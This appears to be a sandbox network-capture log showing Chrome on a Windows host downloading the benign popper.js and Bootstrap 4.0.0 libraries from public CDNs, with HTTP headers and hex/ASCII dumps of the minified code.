2025-03-17 16:03:18 UTC	634	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive Origin: null sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 16:03:18 UTC	965	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:18 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"649949ff-1afc" Last-Modified: Mon, 26 Jun 2023 08:19:11 GMT cf-cdnjs-via: cfworker/r2 Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1467554 Expires: Sat, 07 Mar 2026 16:03:18 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z3u3cBy%2FkcJ%2Frvj5nLkN7MWzcpNUL%2FJf0W3ghoI1l8bPmb0wjh2G%2Fb%2F50N9YIirzUzQGzsjdmOeVYXDIAF8lDp6kaIcFkGleB2AHGVDqPRR88zDSNROJ%2FuaY4HtuDKbs28Yv9wEy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 921db83b6c8342c7-EWR alt-svc: h3=":443"; ma=86400
2025-03-17 16:03:18 UTC	404	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2025-03-17 16:03:18 UTC	1369	IN	Data Raw: 66 28 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 Data Ascii: f(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#doc
2025-03-17 16:03:18 UTC	1369	IN	Data Raw: 28 65 2c 74 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b Data Ascii: (e,t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e[
2025-03-17 16:03:18 UTC	1369	IN	Data Raw: 63 28 7b 74 6f 70 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d Data Ascii: c({top:p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}
2025-03-17 16:03:18 UTC	1369	IN	Data Raw: 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 Data Ascii: t,height:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t
2025-03-17 16:03:19 UTC	1369	IN	Data Raw: 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b Data Ascii: onsole.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={
2025-03-17 16:03:19 UTC	1369	IN	Data Raw: 28 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c Data Ascii: (),this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,
2025-03-17 16:03:19 UTC	1369	IN	Data Raw: 65 3b 72 65 74 75 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 Data Ascii: e;return o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e
2025-03-17 16:03:19 UTC	1369	IN	Data Raw: 29 7b 72 65 74 75 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e Data Ascii: ){return''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}fun
2025-03-17 16:03:19 UTC	1369	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 Data Ascii: ){return o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=argume

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.17	49749	104.18.10.207	443	3020	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:18 UTC	628	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive Origin: null sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 16:03:18 UTC	967	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:18 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-CachedAt: 09/26/2024 11:59:36 CDN-ProxyVer: 1.04 CDN-RequestPullCode: 200 CDN-RequestPullSuccess: True CDN-EdgeStorageId: 1001 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: d3617537bd5287e938793273a3fbe7d9 CDN-Cache: HIT CF-Cache-Status: HIT Age: 1465871 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 921db83b6bda2f06-EWR alt-svc: h3=":443"; ma=86400
2025-03-17 16:03:18 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7bec/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2025-03-17 16:03:18 UTC	1369	IN	Data Raw: 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 Data Ascii: fine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defi
2025-03-17 16:03:18 UTC	1369	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 Data Ascii: :function(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isE
2025-03-17 16:03:18 UTC	1369	IN	Data Raw: 72 20 65 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 Data Ascii: r e=o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._de
2025-03-17 16:03:18 UTC	1369	IN	Data Raw: 26 26 70 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e Data Ascii: &&p(s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._elemen
2025-03-17 16:03:18 UTC	1369	IN	Data Raw: 22 6d 6f 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 Data Ascii: "mouseenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-ite
2025-03-17 16:03:18 UTC	1369	IN	Data Raw: 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e Data Ascii: al),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var 